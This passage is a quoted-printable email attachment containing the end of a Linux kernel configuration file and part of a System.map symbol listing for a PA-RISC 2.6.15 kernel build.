# CONFIG_AFS_FS is not set=0A=
CONFIG_9P_FS=3Dm=0A=
=0A=
#=0A=
# Partition Types=0A=
#=0A=
# CONFIG_PARTITION_ADVANCED is not set=0A=
CONFIG_MSDOS_PARTITION=3Dy=0A=
=0A=
#=0A=
# Native Language Support=0A=
#=0A=
CONFIG_NLS=3Dy=0A=
CONFIG_NLS_DEFAULT=3D"iso8859-1"=0A=
# CONFIG_NLS_CODEPAGE_437 is not set=0A=
# CONFIG_NLS_CODEPAGE_737 is not set=0A=
# CONFIG_NLS_CODEPAGE_775 is not set=0A=
# CONFIG_NLS_CODEPAGE_850 is not set=0A=
# CONFIG_NLS_CODEPAGE_852 is not set=0A=
# CONFIG_NLS_CODEPAGE_855 is not set=0A=
# CONFIG_NLS_CODEPAGE_857 is not set=0A=
# CONFIG_NLS_CODEPAGE_860 is not set=0A=
# CONFIG_NLS_CODEPAGE_861 is not set=0A=
# CONFIG_NLS_CODEPAGE_862 is not set=0A=
# CONFIG_NLS_CODEPAGE_863 is not set=0A=
# CONFIG_NLS_CODEPAGE_864 is not set=0A=
# CONFIG_NLS_CODEPAGE_865 is not set=0A=
# CONFIG_NLS_CODEPAGE_866 is not set=0A=
# CONFIG_NLS_CODEPAGE_869 is not set=0A=
# CONFIG_NLS_CODEPAGE_936 is not set=0A=
# CONFIG_NLS_CODEPAGE_950 is not set=0A=
# CONFIG_NLS_CODEPAGE_932 is not set=0A=
# CONFIG_NLS_CODEPAGE_949 is not set=0A=
# CONFIG_NLS_CODEPAGE_874 is not set=0A=
# CONFIG_NLS_ISO8859_8 is not set=0A=
# CONFIG_NLS_CODEPAGE_1250 is not set=0A=
# CONFIG_NLS_CODEPAGE_1251 is not set=0A=
# CONFIG_NLS_ASCII is not set=0A=
# CONFIG_NLS_ISO8859_1 is not set=0A=
# CONFIG_NLS_ISO8859_2 is not set=0A=
# CONFIG_NLS_ISO8859_3 is not set=0A=
# CONFIG_NLS_ISO8859_4 is not set=0A=
# CONFIG_NLS_ISO8859_5 is not set=0A=
# CONFIG_NLS_ISO8859_6 is not set=0A=
# CONFIG_NLS_ISO8859_7 is not set=0A=
# CONFIG_NLS_ISO8859_9 is not set=0A=
# CONFIG_NLS_ISO8859_13 is not set=0A=
# CONFIG_NLS_ISO8859_14 is not set=0A=
# CONFIG_NLS_ISO8859_15 is not set=0A=
# CONFIG_NLS_KOI8_R is not set=0A=
# CONFIG_NLS_KOI8_U is not set=0A=
# CONFIG_NLS_UTF8 is not set=0A=
=0A=
#=0A=
# Profiling support=0A=
#=0A=
# CONFIG_PROFILING is not set=0A=
=0A=
#=0A=
# Kernel hacking=0A=
#=0A=
# CONFIG_PRINTK_TIME is not set=0A=
# CONFIG_MAGIC_SYSRQ is not set=0A=
# CONFIG_DEBUG_KERNEL is not set=0A=
CONFIG_LOG_BUF_SHIFT=3D14=0A=
=0A=
#=0A=
# Security options=0A=
#=0A=
# CONFIG_KEYS is not set=0A=
# CONFIG_SECURITY is not set=0A=
=0A=
#=0A=
# Cryptographic options=0A=
#=0A=
CONFIG_CRYPTO=3Dy=0A=
CONFIG_CRYPTO_HMAC=3Dy=0A=
CONFIG_CRYPTO_NULL=3Dm=0A=
CONFIG_CRYPTO_MD4=3Dy=0A=
CONFIG_CRYPTO_MD5=3Dy=0A=
CONFIG_CRYPTO_SHA1=3Dm=0A=
CONFIG_CRYPTO_SHA256=3Dm=0A=
CONFIG_CRYPTO_SHA512=3Dm=0A=
CONFIG_CRYPTO_WP512=3Dm=0A=
CONFIG_CRYPTO_TGR192=3Dm=0A=
CONFIG_CRYPTO_DES=3Dm=0A=
CONFIG_CRYPTO_BLOWFISH=3Dm=0A=
CONFIG_CRYPTO_TWOFISH=3Dm=0A=
CONFIG_CRYPTO_SERPENT=3Dm=0A=
CONFIG_CRYPTO_AES=3Dm=0A=
CONFIG_CRYPTO_CAST5=3Dm=0A=
CONFIG_CRYPTO_CAST6=3Dm=0A=
CONFIG_CRYPTO_TEA=3Dm=0A=
CONFIG_CRYPTO_ARC4=3Dm=0A=
CONFIG_CRYPTO_KHAZAD=3Dm=0A=
CONFIG_CRYPTO_ANUBIS=3Dm=0A=
CONFIG_CRYPTO_DEFLATE=3Dm=0A=
CONFIG_CRYPTO_MICHAEL_MIC=3Dm=0A=
CONFIG_CRYPTO_CRC32C=3Dy=0A=
# CONFIG_CRYPTO_TEST is not set=0A=
=0A=
#=0A=
# Hardware crypto devices=0A=
#=0A=
=0A=
#=0A=
# Library routines=0A=
#=0A=
# CONFIG_CRC_CCITT is not set=0A=
# CONFIG_CRC16 is not set=0A=
CONFIG_CRC32=3Dy=0A=
CONFIG_LIBCRC32C=3Dy=0A=
CONFIG_ZLIB_INFLATE=3Dm=0A=
CONFIG_ZLIB_DEFLATE=3Dm=0A=

------=_NextPart_000_0076_01C621C1.F67DEB90
Content-Type: application/octet-stream;
	name="System.map-2.6.15.1-pa4"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
	filename="System.map-2.6.15.1-pa4"

10100000 T _stext=0A=
10100000 A _text=0A=
10100000 T stext=0A=
10100020 t $bss_loop=0A=
10100084 t $pgt_fill_loop=0A=
10100108 t $is_pa20=0A=
10100110 t $install_iva=0A=
10100180 t aligned_rfi=0A=
10100200 T __set_personality=0A=
101003e4 T sys_personality=0A=
10100444 T lstrncpy_from_user=0A=
10100468 t $lsfu_loop=0A=
10100478 t $lsfu_done=0A=
1010047c t $lsfu_exit=0A=
10100484 T lclear_user=0A=
101004a0 t $lclu_loop=0A=
101004a8 t $lclu_done=0A=
101004b0 T lstrnlen_user=0A=
101004d4 t $lslen_loop=0A=
101004e0 t $lslen_done=0A=
101004e8 t $lslen_nzero=0A=
101004f0 T $$remI=0A=
101004f0 T $$remoI=0A=
10100690 T $$remU=0A=
101007e0 T $$mulI=0A=
10101910 T $$dyncall=0A=
10101928 T __muldi3=0A=
10101984 T __lshrdi3=0A=
101019e0 T __ashldi3=0A=
10101a38 T __ashrdi3=0A=
10101ab0 T __down_interruptible=0A=
10101ab0 T __sched_text_start=0A=
10101c44 T __down=0A=
10101d94 T schedule=0A=
1010241c T wait_for_completion=0A=
1010252c T wait_for_completion_timeout=0A=
10102674 T wait_for_completion_interruptible=0A=
101027d8 T wait_for_completion_interruptible_timeout=0A=
1010294c T interruptible_sleep_on=0A=
101029f0 T interruptible_sleep_on_timeout=0A=
10102a9c T sleep_on=0A=
10102b40 T sleep_on_timeout=0A=
10102bec T cond_resched=0A=
10102c6c T cond_resched_softirq=0A=
10102d4c T yield=0A=
10102d7c T io_schedule=0A=
10102de4 T io_schedule_timeout=0A=
10102e4c T console_conditional_schedule=0A=
10102e78 T schedule_timeout=0A=
10102f4c T schedule_timeout_interruptible=0A=
10102f74 T schedule_timeout_uninterruptible=0A=
10102f9c t nanosleep_restart=0A=
10103130 T __wait_on_bit=0A=
10103208 T out_of_line_wait_on_bit=0A=
101032d0 T __wait_on_bit_lock=0A=
101033b4 T out_of_line_wait_on_bit_lock=0A=
1010347c T __down_write=0A=
10103538 T __down_read=0A=
101035f8 T __lock_text_end=0A=
101035f8 T __lock_text_start=0A=
101035f8 T __sched_text_end=0A=
101035f8 T do_softirq=0A=
10103640 T sys_exit=0A=
10103654 T do_sigaltstack=0A=
101037f0 T do_fork=0A=
101039d4 t rest_init=0A=
10103a08 t run_init_process=0A=
10103a40 t init=0A=
10103c68 t try_name=0A=
10103e4c T name_to_dev_t=0A=
10104140 T calibrate_delay=0A=
10104340 T free_sid=0A=
101043c4 T free_initmem=0A=
1010450c T do_check_pgt_cache=0A=
10104514 T show_mem=0A=
10104654 T flush_tlb_all=0A=
101046e8 T alloc_sid=0A=
10104890 T do_page_fault=0A=
10104c80 T __ioremap=0A=
10104cdc T iounmap=0A=
10104ce0 T flush_cache_all_local=0A=
10104d04 T flush_all_caches=0A=
10104d20 T update_mmu_cache=0A=
10104dbc T show_cache_info=0A=
10104ea0 T disable_sr_hashing=0A=
10104f2c T flush_dcache_page=0A=
10105114 T clear_user_page_asm=0A=
1010512c T parisc_setup_cache_timing=0A=
10105200 T flush_tlb_all_local=0A=
1010524c t L1=021=0A=
1010527c t fitmanyloop=0A=
10105288 t fitmanymiddle=0A=
101052a4 t fitoneloop=0A=
101052b0 t fitonemiddle=0A=
101052c0 t fitdone=0A=
101052e8 t fdtmanyloop=0A=
101052f4 t fdtmanymiddle=0A=
10105310 t fdtoneloop=0A=
1010531c t fdtonemiddle=0A=
1010532c t fdtdone=0A=
1010537c t L2=021=0A=
10105384 T flush_instruction_cache_local=0A=
101053ac t fimanyloop=0A=
101053c0 t fioneloop=0A=
101053c8 t fisync=0A=
101053d8 T flush_data_cache_local=0A=
10105400 t fdmanyloop=0A=
10105414 t fdoneloop=0A=
1010541c t fdsync=0A=
10105430 T copy_user_page_asm=0A=
101054cc T __clear_user_page_asm=0A=
1010553c T flush_kernel_dcache_page=0A=
101055a0 T flush_user_dcache_page=0A=
10105604 T flush_user_icache_page=0A=
10105668 T purge_kernel_dcache_page=0A=
101056cc T flush_user_dcache_range_asm=0A=
101056f0 T flush_kernel_dcache_range_asm=0A=
10105718 T flush_user_icache_range_asm=0A=
1010573c T flush_kernel_icache_page=0A=
101057a0 T flush_kernel_icache_range_asm=0A=
10105800 T disable_sr_hashing_asm=0A=
1010584c t L1=0213=0A=
1010585c t srdis_pcxs=0A=
10105878 t srdis_pcxl=0A=
10105888 t srdis_pa20=0A=
10105894 t srdis_done=0A=
101058e0 t L2=022=0A=
10105900 t c_start=0A=
10105910 t c_next=0A=
10105944 t c_stop=0A=
10105948 T printbinary=0A=
10105988 T show_regs=0A=
10105d04 t do_show_stack=0A=
10105d90 T show_stack=0A=
10105e30 T dump_stack=0A=
10105e50 T die_if_kernel=0A=
10105f88 T syscall_ipi=0A=
10105fac T handle_gdb_break=0A=
10105fec T handle_break=0A=
10106110 T handle_toc=0A=
10106134 t default_trap=0A=
1010616c T transfer_pim_to_trap_frame=0A=
10106310 T parisc_terminate=0A=
101063d8 T handle_interruption=0A=
10106998 T timer_interrupt=0A=
10106aa0 T profile_pc=0A=
10106ac0 T do_gettimeofday=0A=
10106bf8 T do_settimeofday=0A=
10106db4 T sched_clock=0A=
10106dfc t cpu_disable_irq=0A=
10106e1c t cpu_enable_irq=0A=
10106e58 t cpu_startup_irq=0A=
10106e74 T no_ack_irq=0A=
10106e78 T no_end_irq=0A=
10106e7c T show_interrupts=0A=
10106fac T cpu_claim_irq=0A=
1010700c T txn_claim_irq=0A=
1010703c T txn_alloc_irq=0A=
101070a0 T txn_affinity_addr=0A=
101070bc T txn_alloc_addr=0A=
10107124 T txn_alloc_data=0A=
1010712c T do_cpu_irq_mask=0A=
101071e8 T hw_resend_irq=0A=
101071ec T ack_bad_irq=0A=
10107210 t pa7300lc_lpmc=0A=
101072a8 T pa7300lc_init=0A=
10108000 T linux_gateway_page=0A=
101080b0 t lws_entry=0A=
101080e0 t set_thread_pointer=0A=
10108100 t linux_gateway_entry=0A=
10108264 t syscall_nosys=0A=
10108270 t tracesys=0A=
1010831c t tracesys_next=0A=
10108360 t tracesys_exit=0A=
10108394 t tracesys_sigexit=0A=
101083ac t lws_start=0A=
101083d8 t lws_exit_nosys=0A=
101083dc t lws_exit=0A=
101083e0 t lws_compare_and_swap64=0A=
101083e4 t cas_action=0A=
101083e4 t lws_compare_and_swap=0A=
101083e4 t lws_compare_and_swap32=0A=
10108410 t end_compare_and_swap=0A=
10109000 T end_linux_gateway_page=0A=
10109000 T fault_vector_20=0A=
10109800 T fault_vector_11=0A=
10109c00 T __kernel_thread=0A=
10109c40 T ret_from_kernel_thread=0A=
10109c64 T __execve=0A=
10109c98 T _switch_to=0A=
10109d30 t _switch_to_ret=0A=
1010a000 T syscall_exit_rfi=0A=
1010a068 t intr_return=0A=
1010a074 t intr_check_resched=0A=
1010a080 t intr_check_sig=0A=
1010a08c t intr_restore=0A=
1010a250 t intr_do_resched=0A=
1010a274 t intr_do_signal=0A=
1010a2a4 t intr_extint=0A=
1010a3d8 t L4=021=0A=
1010a4e8 T intr_save=0A=
1010a5e4 t skip_save_ior=0A=
1010a640 t L4=022=0A=
1010a750 t dtlb_miss_11=0A=
1010a7fc t dtlb_check_alias_11=0A=
1010a834 t nadtlb_miss_11=0A=
1010a8e0 t nadtlb_check_flush_11=0A=
1010a910 t dtlb_miss_20=0A=
1010a9b0 t dtlb_check_alias_20=0A=
1010a9e4 t nadtlb_miss_20=0A=
1010aa84 t nadtlb_check_flush_20=0A=
1010aaa4 t nadtlb_emulate=0A=
1010aadc t nadtlb_nullify=0A=
1010aaf4 t nadtlb_probe_check=0A=
1010ab1c t itlb_miss_11=0A=
1010abc8 t itlb_miss_20=0A=
1010ac68 t dbit_trap_11=0A=
1010ad10 t dbit_trap_20=0A=
1010adac t kernel_bad_space=0A=
1010adb4 t dbit_fault=0A=
1010adbc t itlb_fault=0A=
1010adc4 t nadtlb_fault=0A=
1010adcc t dtlb_fault=0A=
1010add4 T sys_fork_wrapper=0A=
1010ae48 t wrapper_exit=0A=
1010aea8 T child_return=0A=
1010aec0 T sys_clone_wrapper=0A=
1010af30 T sys_vfork_wrapper=0A=
1010afa0 T sys_execve_wrapper=0A=
1010afcc t error_sys_execve=0A=
1010afd4 T sys_rt_sigreturn_wrapper=0A=
1010b040 T sys_sigaltstack_wrapper=0A=
1010b068 T sys_rt_sigsuspend_wrapper=0A=
1010b114 T syscall_exit=0A=
1010b128 t syscall_check_bh=0A=
1010b130 t syscall_check_resched=0A=
1010b138 t syscall_check_sig=0A=
1010b140 t syscall_restore=0A=
1010b23c t syscall_restore_rfi=0A=
1010b2e0 t pt_regs_ok=0A=
1010b300 t syscall_do_resched=0A=
1010b310 t syscall_do_signal=0A=
1010b3b0 t get_register=0A=
1010b4b8 t set_register=0A=
1010c000 T sys_pipe=0A=
1010c048 t get_shared_area=0A=
1010c118 T arch_get_unmapped_area=0A=
1010c1e8 t do_mmap2=0A=
1010c2b8 T sys_mmap2=0A=
1010c2d0 T sys_mmap=0A=
1010c308 T parisc_truncate64=0A=
1010c334 T parisc_ftruncate64=0A=
1010c360 T parisc_pread64=0A=
1010c398 T parisc_pwrite64=0A=
1010c3d0 T parisc_readahead=0A=
1010c404 T parisc_fadvise64_64=0A=
1010c478 T sys_alloc_hugepages=0A=
1010c480 T sys_free_hugepages=0A=
1010c488 t f_extend=0A=
1010c490 t convert_to_wide=0A=
1010c494 T pdc_emergency_unlock=0A=
1010c498 T real32_call=0A=
1010c590 T pdc_sti_call=0A=
1010c5b8 T pdc_iodc_getc=0A=
1010c65c T pdc_iodc_outc=0A=
1010c6cc T pdc_iodc_putc=0A=
1010c7d0 T pdc_io_reset_devices=0A=
1010c804 T pdc_io_reset=0A=
1010c838 T pdc_soft_power_button=0A=
1010c87c T pdc_do_reset=0A=
1010c8ac T pdc_do_firm_test_reset=0A=
1010c8ec T pdc_tod_set=0A=
1010c924 T pdc_tod_read=0A=
1010c990 T pdc_pci_irt=0A=
1010ca14 T pdc_pci_irt_size=0A=
1010ca6c T pdc_get_initiator=0A=
1010cbb0 T pdc_stable_initialize=0A=
1010cbe0 T pdc_stable_verify_contents=0A=
1010cc10 T pdc_stable_get_size=0A=
1010cc64 T pdc_stable_write=0A=
1010ccd0 T pdc_stable_read=0A=
1010cd50 T pdc_lan_station_id=0A=
1010cdcc T pdc_cache_info=0A=
1010ce38 T pdc_model_capabilities=0A=
1010ce94 T pdc_model_cpuid=0A=
1010cef0 T pdc_model_versions=0A=
1010cf48 T pdc_model_sysmodel=0A=
1010cfbc T pdc_model_info=0A=
1010d028 T pdc_system_map_find_addrs=0A=
1010d0a4 T pdc_system_map_find_mods=0A=
1010d150 T pdc_iodc_read=0A=
1010d1f8 T pdc_chassis_disp=0A=
1010d22c T pdc_add_valid=0A=
1010d260 T ptrace_disable=0A=
1010d274 T arch_ptrace=0A=
1010d668 T syscall_trace=0A=
1010d700 t descend_children=0A=
1010d75c t for_each_padev=0A=
1010d790 t match_device=0A=
1010d7f4 t parisc_driver_probe=0A=
1010d834 t parisc_driver_remove=0A=
1010d868 T register_parisc_driver=0A=
1010d954 t match_and_count=0A=
1010d9b4 T count_parisc_driver=0A=
1010d9e4 T unregister_parisc_driver=0A=
1010da04 t find_device=0A=
1010da44 t find_device_by_addr=0A=
1010da8c T find_pa_parent_type=0A=
1010dab8 t get_node_path=0A=
1010db88 t print_hwpath=0A=
1010dc04 T print_pa_hwpath=0A=
1010dc50 T get_pci_node_path=0A=
1010dc6c T print_pci_hwpath=0A=
1010dca0 T create_tree_node=0A=
1010ddb0 t match_by_id=0A=
1010ddd8 t alloc_tree_node=0A=
1010de3c T alloc_pa_dev=0A=
1010e03c t parisc_generic_match=0A=
1010e060 t irq_show=0A=
1010e08c t hw_type_show=0A=
1010e0b8 t rev_show=0A=
1010e0e4 t hversion_show=0A=
1010e110 t sversion_show=0A=
1010e13c T register_parisc_device=0A=
1010e154 t parse_tree_node=0A=
1010e1d8 t check_parent=0A=
1010e2cc T hwpath_to_device=0A=
1010e35c T device_to_hwpath=0A=
1010e3c4 T walk_lower_bus=0A=
1010e460 t walk_native_bus=0A=
1010e508 T walk_central_bus=0A=
1010e530 T init_parisc_bus=0A=
1010e56c t print_one_device=0A=
1010e668 T print_parisc_devices=0A=
1010e68c T __up=0A=
1010e6c4 T sys_rt_sigreturn=0A=
1010e874 T do_signal=0A=
1010efcc T sys_rt_sigsuspend=0A=
1010f0ac T os_hpmc=0A=
1010f0f8 t os_hpmc_1=0A=
1010f128 t os_hpmc_2=0A=
1010f14c t os_hpmc_3=0A=
1010f18c t os_hpmc_4=0A=
1010f1d4 t os_hpmc_5=0A=
1010f218 t os_hpmc_fail=0A=
1010f22c t os_hpmc_6=0A=
1010f240 T os_hpmc_end=0A=
1010f280 T real32_call_asm=0A=
1010f2c8 t ric_ret=0A=
1010f2f0 t save_control_regs=0A=
1010f348 t restore_control_regs=0A=
1010f400 t rfi_virt2real=0A=
1010f468 t rfi_v2r_1=0A=
1010f480 t rfi_real2virt=0A=
1010f4e8 t rfi_r2v_1=0A=
1010f4f8 T pc_in_user_space=0A=
1010f500 T __canonicalize_funcptr_for_compare=0A=
1010f580 t emulate_ldh=0A=
1010f5a0 t L3=021=0A=
1010f5b0 t emulate_ldw=0A=
1010f5e4 t L3=022=0A=
1010f604 t emulate_ldd=0A=
1010f644 t L3=023=0A=
1010f65c t emulate_sth=0A=
1010f684 t L3=024=0A=
1010f688 t emulate_stw=0A=
1010f6f0 t L3=025=0A=
1010f6f8 t emulate_std=0A=
1010f758 t L5=021=0A=
1010f75c T handle_unaligned=0A=
1010ffe0 T check_unaligned=0A=
101100b8 T default_idle=0A=
101100bc T cpu_idle=0A=
1011010c T machine_restart=0A=
10110138 T machine_halt=0A=
1011013c T machine_power_off=0A=
10110184 T kernel_thread=0A=
1011019c T exit_thread=0A=
101101a0 T flush_thread=0A=
101101b0 T release_thread=0A=
101101b4 T dump_fpu=0A=
101101e8 T dump_task_fpu=0A=
10110214 T sys_clone=0A=
10110278 T sys_vfork=0A=
101102ac T copy_thread=0A=
101103a8 T thread_saved_pc=0A=
101103b0 T sys_execve=0A=
10110440 T get_wchan=0A=
101104ac T show_cpuinfo=0A=
10110664 t pdc_console_write=0A=
101106a0 T pdc_outc=0A=
101106bc T pdc_printf=0A=
10110728 T pdc_console_poll_key=0A=
10110740 t pdc_console_setup=0A=
10110748 t pdc_console_init_force=0A=
101107a0 T pdc_console_restart=0A=
10110800 T pdc_chassis_send_status=0A=
10110808 t unwind_table_init=0A=
101108c4 T unwind_table_add=0A=
10110a18 T unwind_table_remove=0A=
10110a60 t unwind_init=0A=
10110ad8 T unwind_frame_init=0A=
10110b38 T unwind_frame_init_from_blocked_task=0A=
10110bd0 T unwind_frame_init_running=0A=
10110bf4 T unwind_once=0A=
10110f70 T unwind_to_user=0A=
10110fa4 T inb=0A=
10110fe8 T inw=0A=
1011102c T inl=0A=
10111070 T outb=0A=
101110bc T outw=0A=
10111108 T outl=0A=
10111154 T pcibios_fixup_bus=0A=
1011119c T pcibios_setup=0A=
101111a4 T pcibios_set_master=0A=
101111fc t pcibios_link_hba_resources=0A=
1011127c T pcibios_resource_to_bus=0A=
101112ec T pcibios_bus_to_resource=0A=
1011131c T pcibios_align_resource=0A=
10111354 T pcibios_enable_device=0A=
10111410 T pcibios_register_hba=0A=
10111468 T module_alloc=0A=
10111490 T module_free=0A=
101114ac T module_frob_arch_sections=0A=
1011165c t get_stub=0A=
10111798 T apply_relocate=0A=
101117c4 T apply_relocate_add=0A=
10111bd0 T module_finalize=0A=
10111d4c T module_arch_cleanup=0A=
10111d74 T sgl_frnd=0A=
10111f34 T dbl_frnd=0A=
101121e8 T handle_fpe=0A=
101122c0 T decode_fpu=0A=
101127b8 t update_status_cbit=0A=
10112830 t decode_06=0A=
10112ac8 t decode_26=0A=
10112c8c t decode_0c=0A=
10113828 t decode_0e=0A=
101142bc t decode_2e=0A=
10114410 T emfpudispatch=0A=
101144c0 T fpudispatch=0A=
101145b8 T sgl_denormalize=0A=
1011468c T dbl_denormalize=0A=
101147f4 T dbl_fmpy=0A=
10114f90 T sgl_fmpy=0A=
10115594 T sgl_fsqrt=0A=
10115748 T dbl_fsqrt=0A=
101159d4 T dbl_fadd=0A=
10116110 T dbl_fmpyfadd=0A=
10116f90 T dbl_fmpynfadd=0A=
10117e0c T sgl_fmpyfadd=0A=
10118844 T sgl_fmpynfadd=0A=
10119278 T sgl_fadd=0A=
10119808 T dbl_fsub=0A=
10119f74 T sgl_fsub=0A=
1011a528 T sgl_to_sgl_fcnvfxt=0A=
1011a5f4 T sgl_to_dbl_fcnvfxt=0A=
1011a710 T dbl_to_sgl_fcnvfxt=0A=
1011a830 T dbl_to_dbl_fcnvfxt=0A=
1011a9c4 T sgl_to_dbl_fcnvff=0A=
1011aae8 T dbl_to_sgl_fcnvff=0A=
1011aee8 T sgl_to_sgl_fcnvxf=0A=
1011aff0 T sgl_to_dbl_fcnvxf=0A=
1011b094 T dbl_to_sgl_fcnvxf=0A=
1011b274 T dbl_to_dbl_fcnvxf=0A=
1011b454 T sgl_to_sgl_fcnvfx=0A=
1011b60c T sgl_to_dbl_fcnvfx=0A=
1011b828 T dbl_to_sgl_fcnvfx=0A=
1011baa4 T dbl_to_dbl_fcnvfx=0A=
1011bd7c T sgl_to_sgl_fcnvuf=0A=
1011be4c T sgl_to_dbl_fcnvuf=0A=
1011bedc T dbl_to_sgl_fcnvuf=0A=
1011c034 T dbl_to_dbl_fcnvuf=0A=
1011c1a8 T sgl_to_sgl_fcnvfu=0A=
1011c32c T sgl_to_dbl_fcnvfu=0A=
1011c50c T dbl_to_sgl_fcnvfu=0A=
1011c70c T dbl_to_dbl_fcnvfu=0A=
1011c9b4 T sgl_to_sgl_fcnvfut=0A=
1011ca78 T sgl_to_dbl_fcnvfut=0A=
1011cb80 T dbl_to_sgl_fcnvfut=0A=
1011cc68 T dbl_to_dbl_fcnvfut=0A=
1011cdf0 T dbl_fdiv=0A=
1011d588 T sgl_fdiv=0A=
1011db68 T dbl_frem=0A=
1011dfa8 T sgl_frem=0A=
1011e2c4 T dbl_fcmp=0A=
1011e488 T sgl_fcmp=0A=
1011e5f4 T task_nice=0A=
1011e614 t task_timeslice=0A=
1011e658 t dequeue_task=0A=
1011e6e4 t enqueue_task=0A=
1011e75c t requeue_task=0A=
1011e7a8 t effective_prio=0A=
1011e818 t recalc_task_prio=0A=
1011e9b4 t deactivate_task=0A=
1011e9f8 T task_curr=0A=
1011ea20 t try_to_wake_up=0A=
1011eb90 T wake_up_process=0A=
1011ebbc T wake_up_state=0A=
1011ebe4 T wake_up_new_task=0A=
1011ee38 T sched_exit=0A=
1011eed0 T schedule_tail=0A=
1011efc0 T nr_running=0A=
1011efe0 T nr_uninterruptible=0A=
1011f008 T nr_context_switches=0A=
1011f060 T nr_iowait=0A=
1011f080 T scheduler_tick=0A=
1011f3b4 T sched_fork=0A=
1011f464 T current_sched_time=0A=
1011f500 T account_user_time=0A=
1011f574 T account_system_time=0A=
1011f670 T account_steal_time=0A=
1011f70c T default_wake_function=0A=
1011f734 t __wake_up_common=0A=
1011f7ec T __wake_up=0A=
1011f828 T __wake_up_locked=0A=
1011f858 T __wake_up_sync=0A=
1011f89c T complete=0A=
1011f8f4 T complete_all=0A=
1011f950 T set_user_nice=0A=
1011fa54 T can_nice=0A=
1011faa8 T sys_nice=0A=
1011fb3c T task_prio=0A=
1011fb5c T idle_cpu=0A=
1011fb8c T idle_task=0A=
1011fbac T sched_setscheduler=0A=
1011fdc8 t do_sched_setscheduler=0A=
1011fe7c T sys_sched_setscheduler=0A=
1011fea0 T sys_sched_setparam=0A=
1011fecc T sys_sched_getscheduler=0A=
1011ff28 T sys_sched_getparam=0A=
1011ffc0 T sched_setaffinity=0A=
101200d0 T sys_sched_setaffinity=0A=
10120170 T sched_getaffinity=0A=
101201dc T sys_sched_getaffinity=0A=
1012023c T sys_sched_yield=0A=
101202d4 T cond_resched_lock=0A=
10120358 T sys_sched_get_priority_max=0A=
1012038c T sys_sched_get_priority_min=0A=
101203c0 T sys_sched_rr_get_interval=0A=
10120550 T show_state=0A=
1012079c T init_idle=0A=
101207f4 T in_sched_functions=0A=
1012082c T nr_processes=0A=
10120838 T free_task=0A=
1012086c T __put_task_struct=0A=
10120968 T __mmdrop=0A=
101209e0 t mm_init=0A=
10120ab0 T mm_alloc=0A=
10120af8 T mmput=0A=
10120bac T get_task_mm=0A=
10120be0 T mm_release=0A=
10120c68 T copy_fs_struct=0A=
10120df0 t copy_files=0A=
101210b8 T unshare_files=0A=
10121154 T sys_set_tid_address=0A=
10121170 t copy_process=0A=
101221a0 W idle_regs=0A=
101221c8 T fork_idle=0A=
10122234 T register_exec_domain=0A=
1012227c T unregister_exec_domain=0A=
101222bc t default_handler=0A=
10122368 T get_exec_domain_list=0A=
10122404 t no_blink=0A=
1012240c T panic=0A=
101225a4 T print_tainted=0A=
10122678 T add_taint=0A=
1012268c T do_syslog=0A=
10122b40 T sys_syslog=0A=
10122b58 t __call_console_drivers=0A=
10122bd8 t _call_console_drivers=0A=
10122c70 t emit_log_char=0A=
10122d04 W printk_clock=0A=
10122d1c T try_acquire_console_sem=0A=
10122d5c T is_console_locked=0A=
10122d68 T release_console_sem=0A=
10122f90 T vprintk=0A=
101232f8 T printk=0A=
10123324 T acquire_console_sem=0A=
101233b8 T console_print=0A=
101233dc T console_unblank=0A=
1012347c T console_device=0A=
101234e8 T console_stop=0A=
10123514 T console_start=0A=
10123540 T unregister_console=0A=
101235e8 T register_console=0A=
101237f4 T tty_write_message=0A=
1012384c T __printk_ratelimit=0A=
101238f4 T printk_ratelimit=0A=
1012391c t profile_event_register=0A=
10123924 t profile_event_unregister=0A=
1012392c T profile_hit=0A=
10123998 T profile_tick=0A=
10123a18 t prof_cpu_mask_read_proc=0A=
10123a78 t prof_cpu_mask_write_proc=0A=
10123ad4 T create_prof_cpu_mask=0A=
10123b2c t read_profile=0A=
10123c68 t write_profile=0A=
10123ca0 t __unhash_process=0A=
10123d64 T release_task=0A=
10123ec0 T unhash_process=0A=
10123f00 T session_of_pgrp=0A=
10123f8c t will_become_orphaned_pgrp=0A=
10124034 T is_orphaned_pgrp=0A=
10124050 T __set_special_pids=0A=
101240fc T set_special_pids=0A=
10124120 T allow_signal=0A=
101241c4 T disallow_signal=0A=
10124238 T get_files_struct=0A=
1012425c T put_files_struct=0A=
10124354 T exit_files=0A=
10124388 T put_fs_struct=0A=
10124438 T exit_fs=0A=
101244e8 t exit_mm=0A=
101245ec T daemonize=0A=
10124918 T next_thread=0A=
10124924 T do_exit=0A=
10125330 T complete_and_exit=0A=
10125354 T do_group_exit=0A=
1012541c T sys_exit_group=0A=
10125438 t eligible_child=0A=
101254f8 t wait_noreap_copyout=0A=
10125684 t do_wait=0A=
101262c8 T sys_waitid=0A=
10126360 T sys_wait4=0A=
101263a0 T sys_waitpid=0A=
101263bc t it_real_value=0A=
101263e4 T do_getitimer=0A=
10126a58 T sys_getitimer=0A=
10126aa4 T it_real_fn=0A=
10126b54 T do_setitimer=0A=
10127514 T sys_setitimer=0A=
101275bc T sys_time=0A=
10127618 T sys_stime=0A=
10127690 T sys_gettimeofday=0A=
10127708 T do_sys_settimeofday=0A=
101277f4 T sys_settimeofday=0A=
1012789c W notify_arch_cmos_timer=0A=
101278a0 T do_adjtimex=0A=
10127de8 T sys_adjtimex=0A=
10127e58 T current_kernel_time=0A=
10127ea8 T timespec_trunc=0A=
10127f0c T current_fs_time=0A=
10127f70 T getnstimeofday=0A=
10127fb8 T getnstimestamp=0A=
10128070 T get_jiffies_64=0A=
101280a8 T __do_softirq=0A=
10128178 T local_bh_enable=0A=
10128208 T irq_exit=0A=
1012825c T raise_softirq_irqoff=0A=
101282c0 T __tasklet_hi_schedule=0A=
10128334 T __tasklet_schedule=0A=
101283a8 T raise_softirq=0A=
10128410 T open_softirq=0A=
10128428 t tasklet_action=0A=
101284f4 t tasklet_hi_action=0A=
101285c0 T tasklet_init=0A=
101285e0 T tasklet_kill=0A=
10128660 t ksoftirqd=0A=
1012871c t cpu_callback=0A=
10128800 t r_next=0A=
10128848 t r_start=0A=
101288d0 t r_stop=0A=
101288d4 t r_show=0A=
10128964 t ioports_open=0A=
101289a4 t iomem_open=0A=
101289e4 t __request_resource=0A=
10128a3c T request_resource=0A=
10128a5c T ____request_resource=0A=
10128a74 T release_resource=0A=
10128af0 T allocate_resource=0A=
10128c3c T insert_resource=0A=
10128d40 T adjust_resource=0A=
10128dc4 T __request_region=0A=
10128e64 T __check_region=0A=
10128ea4 T __release_region=0A=
10128f2c t use_table=0A=
